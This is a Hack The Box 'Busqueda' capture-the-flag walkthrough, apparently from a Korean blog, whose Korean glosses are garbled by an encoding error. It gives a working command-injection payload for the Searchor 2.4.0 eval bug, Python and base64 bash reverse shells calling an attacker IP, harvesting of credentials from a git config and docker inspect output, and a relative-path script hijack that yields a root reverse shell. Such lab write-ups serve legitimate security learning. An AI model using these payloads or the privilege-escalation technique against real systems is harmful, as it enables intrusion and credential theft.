Synopsis
Busqueda is an Easy Difficulty Linux machine
involves exploiting a command injection vulnerability present in a python module.
By leveraging this vulnerability(์ด ์ทจ์ฝ์ ์ ์ด์ฉํ์ฌ), we gain user-level access to the machine.
To escalate privileges to root, we discover credentials within a Git config file, allowing us to log into a local Gitea service.
Additionally(์ถ๊ฐ์ ์ผ๋ก), we uncover that a system checkup script can be executed with root privileges by a specific user.
By utilizing this script, we enumerate Docker containers that reveal(๋๋ฌ๋ด๋ค) credentials for the administrator user’s Gitea account.
Further(๋ ๋์๊ฐ) analysis of the system checkup script’s source code in a Git repository reveals a mean to exploit relative path reference, granting us Remote Code Execution(RCE) with root privileges.
Enumeration
Nmap
Let’s run as Nmap scan to discover any open ports on the remote host.
โโโ(kaliใฟkali)-[~/Desktop/VPN]
โโ$ nmap searcher.htb
Starting Nmap 7.94SVN ( <https://nmap.org> ) at 2025-04-15 07:31 EDT
Nmap scan report for searcher.htb (10.129.228.217)
Host is up (0.34s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 3.69 seconds
The Nmap scan shows that SSH is listening on its default port, i.e.(๋ค์ ๋งํด์) port 22 and an Apache HTTP web server is running on port 80.
HTTP
Upon browsing to port 80, we are redirected to the domain searcher.htb.
Let’s add an entry for searcher.htb to our /etc/hosts file with the corresponding(๋ถํฉํ๋) IP address to resolve the domain name and allow us to access it in our browser.
echo "10.129.228.217 searcher.htb" | sudo tee -a /etc/hosts
Upon visiting searcher.htb in the browser, we are greeted(ํ์ ๋ฐ๋ค) with the homepage of the “Searcher” app.
It appears to be a search engine aggregator(๋ชจ์๋์) that allows users to search for information on various search engines.
Users can select a search engine, type a query, and get redirected automatically or get the URL of the search results.
After pressing the “Search” button, the website provides the URL for the specified(์ง์ ๋) search engine and the entered query.
Foothold
It is worth nothing(์ฃผ๋ชฉํ ๋งํ๋ค) that website footer says that it’s using Flask and Searchor version 2.4.0.
Found Searchor 2.4.0 Vulnerability
https://github.com/ArjunSharda/Searchor/pull/130/files
What is Searchor?
Searchor is a comprehensive(์ข ํฉ์ ์ธ) Python library that streamlines the process of web scraping, retrieving(๊ฒ์ํ๋ค) information on any subject, and creating search query URLs.
If we follow the hyperlink on “Searchor 2.4.0” in the webpage footer, we are redirected to its GitHub repository, where we can examine the changelog for the various released versions. There is a mention of a priority(์ฐ์ ์ ์ผ๋ก) vulnerability beging patched in version 2.4.2. The version in use by the website is 2.4.0 which means that it is likely vulnerable.
Looking at the patch, we can see that the pull request is about patching a command injection vulnerability present in the search functionality due to use of an eval statement on unsanitized(ํํฐ๋ง ๋์ง ์์) user input.
We can view the specific commit, which shows the eval statement that was replaced in the main.py file.
src/searchor/main.py
@click.argument("query")
def search(engine, query, open, copy):
try:
[-] url = eval(
[-] f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
[-] )
[+] url = Engine[engine].search(query, copy_url=copy, open_web=open)
click.echo(url)
searchor.history.update(engine, query, url)
if open:
However, we developed a Proof of Concept (PoC) for Remote Command Execution.
Payloads
') + str(__import__('os').system('id'))#
',exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.14.14',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"))#
The output of the id command is returned successfully, indicating(๋ํ๋ด๋ค) that our injection was successful.
To validate code execution on the remote host, let us proceed to submit the payload in the query parameter of the web application.
') + str(__import__('os').system('id'))#
We have code execution as the user svc.
In order to leverage(์ด์ฉํ๋ค) this into an interactive shell, we first start a Netcat listener on our local machine on port 4444.
nc -nlvp 4444
We then send the following reverse shell payload in the query parameter of the Searchor website.
',exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.14.14',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"))#
๐ก Another reverse shell payload
')+ str(import('os').system('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zNS8xMzM3IDA+JjE=|base64 -d|bash'))#
we obtain(์ป๋ค) a reverse shell on our Netcat listener.
The user flag can be obtained at /home/svc/user.txt.
cat /home/svc/user.txt
- Full TTY Upgrade
- (REV) python3 -c 'import pty;pty.spawn("/bin/bash")'
- (REV) ctrl+z
- (KALI) stty raw -echo; fg
- (KALI) reset
- (REV) export SHELL=bash
- (REV) export TERM=xterm-256color
Privilege Escalation
By enumerating the files on the remote host, we can identify the credential pair
cody:jh1usoih2bkjaspwe92 stored in the /var/www/app/.git/config file. It also contains a reference to the gitea.searcher.htb subdomain.
cat /var/www/app/.git/config
/var/www/app/.git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = <http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git>
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
remote = origin
merge = refs/heads/main
let’s add an entry for it in our /etc/hosts file.
echo "10.129.228.217 gitea.searcher.htb" | sudo tee -a /etc/hosts
Upon visiting gitea.searcher.htb in the browser, we see the Gitea homepage.
What is Gitea? Gitea is a self-hosted, lightweight, open-source Git service that provides a web interface for managing Git repositories. It is a version control server similar to popular platform like GitHub or GitLab but is designed to be lightweight, easy to install, and consume fewer system resources.
Continuing further(๋ ๋์๊ฐ), we can check the sudo permissions for the user svc to discover that we can run the command /usr/bin/python3 /opt/scripts/system-checkup.py * as root.
svc@busqueda:/var/www/app/.git$ sudo -l
Matching Defaults entries for svc on busqueda:
env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin, use_pty
User svc may run the following commands on busqueda:
(root) /usr/bin/python3 /opt/scripts/system-checkup.py *
When attempting(์๋ํ๋ค) to read the file /opt/scripts/system-checkup.py, we receive a permission denied error due to the svc user’s insufficient(๋ถ์ถฉ๋ถํ๋ค) permissions.
ls -l /opt/scripts/system-checkup.py
Upon executing the python script, a help menu displaying the usable arguments is presented.
svc@busqueda:/var/www/app/.git$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)
docker-ps : List running docker containers
docker-inspect : Inpect a certain docker container
full-checkup : Run a full system checkup
Using the docker-ps argument, it lists all running containers. (It is similar to the output of the docker ps command of the Docker utility.)
svc@busqueda:/var/www/app/.git$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
960873171e2e gitea/gitea:latest "/usr/bin/entrypoint…" 2 years ago Up 2 hours 127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp gitea
f84a6b33fb5a mysql:8 "docker-entrypoint.s…" 2 years ago Up 2 hours 127.0.0.1:3306->3306/tcp, 33060/tcp mysql_db
When executing the script with the docker-inspect argument, the usage information indicates that it requires two specific arguments: format and container name.
svc@busqueda:/var/www/app/.git$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect
Usage: /opt/scripts/system-checkup.py docker-inspect <format> <container_name>
Even though we know the container names, we don’t know what this format parameter is referring to. However, given the similarity between the script’s output using the docker-ps argument and the docker ps command, it is reasonable to assume that the docker-inspect argument within the script utilises the docker inspect command of the Docker utility. Thus(๊ทธ๋ฌ๋ฏ๋ก), let us take a look at the help menu of the docker inspect command.
We can view the usage information of the docker inspect command here.
svc@busqueda:/var/www/app/.git$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect --format='{{json .Config}}' mysql_db
--format={"Hostname":"f84a6b33fb5a","Domainname":"","User":"","AttachStdin":false,"AttachStdout":false,"AttachStderr":false,"ExposedPorts":{"3306/tcp":{},"33060/tcp":{}},"Tty":false,"OpenStdin":false,"StdinOnce":false,"Env":["MYSQL_ROOT_PASSWORD=jI86kGUuj87guWr3RyF","MYSQL_USER=gitea","MYSQL_PASSWORD=yuiu1hoiu4i5ho1uh","MYSQL_DATABASE=gitea","PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","GOSU_VERSION=1.14","MYSQL_MAJOR=8.0","MYSQL_VERSION=8.0.31-1.el8","MYSQL_SHELL_VERSION=8.0.31-1.el8"],"Cmd":["mysqld"],"Image":"mysql:8","Volumes":{"/var/lib/mysql":{}},"WorkingDir":"","Entrypoint":["docker-entrypoint.sh"],"OnBuild":null,"Labels":{"com.docker.compose.config-hash":"1b3f25a702c351e42b82c1867f5761829ada67262ed4ab55276e50538c54792b","com.docker.compose.container-number":"1","com.docker.compose.oneoff":"False","com.docker.compose.project":"docker","com.docker.compose.project.config_files":"docker-compose.yml","com.docker.compose.project.working_dir":"/root/scripts/docker","com.docker.compose.service":"db","com.docker.compose.version":"1.29.2"}}
Let’s now run the script with the appropriate parameters for the docker-inspect argument.
svc@busqueda:/var/www/app/.git$ echo -n '{"Hostname":"f84a6b33fb5a","Domainname":"","User":"","AttachStdin":false,"AttachStdout":false,"AttachStderr":false,"ExposedPorts":{"3306/tcp":{},"33060/tcp":{}},"Tty":false,"OpenStdin":false,"StdinOnce":false,"Env":["MYSQL_ROOT_PASSWORD=jI86kGUuj87guWr3RyF","MYSQL_USER=gitea","MYSQL_PASSWORD=yuiu1hoiu4i5ho1uh","MYSQL_DATABASE=gitea","PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","GOSU_VERSION=1.14","MYSQL_MAJOR=8.0","MYSQL_VERSION=8.0.31-1.el8","MYSQL_SHELL_VERSION=8.0.31-1.el8"],"Cmd":["mysqld"],"Image":"mysql:8","Volumes":{"/var/lib/mysql":{}},"WorkingDir":"","Entrypoint":["docker-entrypoint.sh"],"OnBuild":null,"Labels":{"com.docker.compose.config-hash":"1b3f25a702c351e42b82c1867f5761829ada67262ed4ab55276e50538c54792b","com.docker.compose.container-number":"1","com.docker.compose.oneoff":"False","com.docker.compose.project":"docker","com.docker.compose.project.config_files":"docker-compose.yml","com.docker.compose.project.working_dir":"/root/scripts/docker","com.docker.compose.service":"db","com.docker.compose.version":"1.29.2"}}' | jq .
{
"Hostname": "f84a6b33fb5a",
"Domainname": "",
"User": "",
"AttachStdin": false,
"AttachStdout": false,
"AttachStderr": false,
"ExposedPorts": {
"3306/tcp": {},
"33060/tcp": {}
},
"Tty": false,
"OpenStdin": false,
"StdinOnce": false,
"Env": [
"MYSQL_ROOT_PASSWORD=jI86kGUuj87guWr3RyF",
"MYSQL_USER=gitea",
"MYSQL_PASSWORD=yuiu1hoiu4i5ho1uh",
"MYSQL_DATABASE=gitea",
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"GOSU_VERSION=1.14",
"MYSQL_MAJOR=8.0",
"MYSQL_VERSION=8.0.31-1.el8",
"MYSQL_SHELL_VERSION=8.0.31-1.el8"
],
"Cmd": [
"mysqld"
],
"Image": "mysql:8",
"Volumes": {
"/var/lib/mysql": {}
},
"WorkingDir": "",
"Entrypoint": [
"docker-entrypoint.sh"
],
"OnBuild": null,
"Labels": {
"com.docker.compose.config-hash": "1b3f25a702c351e42b82c1867f5761829ada67262ed4ab55276e50538c54792b",
"com.docker.compose.container-number": "1",
"com.docker.compose.oneoff": "False",
"com.docker.compose.project": "docker",
"com.docker.compose.project.config_files": "docker-compose.yml",
"com.docker.compose.project.working_dir": "/root/scripts/docker",
"com.docker.compose.service": "db",
"com.docker.compose.version": "1.29.2"
}
}
We retrieved the administrator’s Gitea account from the docker inspect output.
[administrator](<http://gitea.searcher.htb/administrator>):yuiu1hoiu4i5ho1uh
Therefore(๊ทธ๋ฌ๋ฏ๋ก), we should inspect the system-checkup.py file since we have the ability to execute the /opt/scripts/system-checkup.py file with root privileges on the remote host. During our analysis of the code, we uncover that the full-checkup argument, which we haven’t examined yet, executes a bash script named full-checkup.sh.
http://gitea.searcher.htb/administrator/scripts/src/branch/main/system-checkup.py
elif action == 'full-checkup':
try:
arg_list = ['./full-checkup.sh']
print(run_command(arg_list))
print('[+] Done!')
except:
print('Something went wrong')
exit(1)
So, let’s create a file /tmp/full-checkup.sh and insert a reverse shell payload into it.
/tmp/full-checkup.sh
#!/bin/bash
sh -i >& /dev/tcp/10.10.14.14/1337 0>&1
We then make it executable.
chmod +x /tmp/full-checkup.sh
Next, we start a Netcat listener on port 9001 on our local machine to receive the reverse sehll.
nc -nvlp 1337
Finally, we run the following command on the remote host from the /tmp directory to trigger the reverse shell.
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
Upon running the above command on the remote host, we receive a shell as user root on our listener port 1337.
The root flag can be obtained at /root/root.txt
cat /root/root.txt
Reference
'๐ดCTF > Hack The Box' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
Hack The Box - Archetype Writeup(2) (0) | 2024.03.04 |
---|---|
Hack The Box - Archetype Writeup(1) (0) | 2024.02.28 |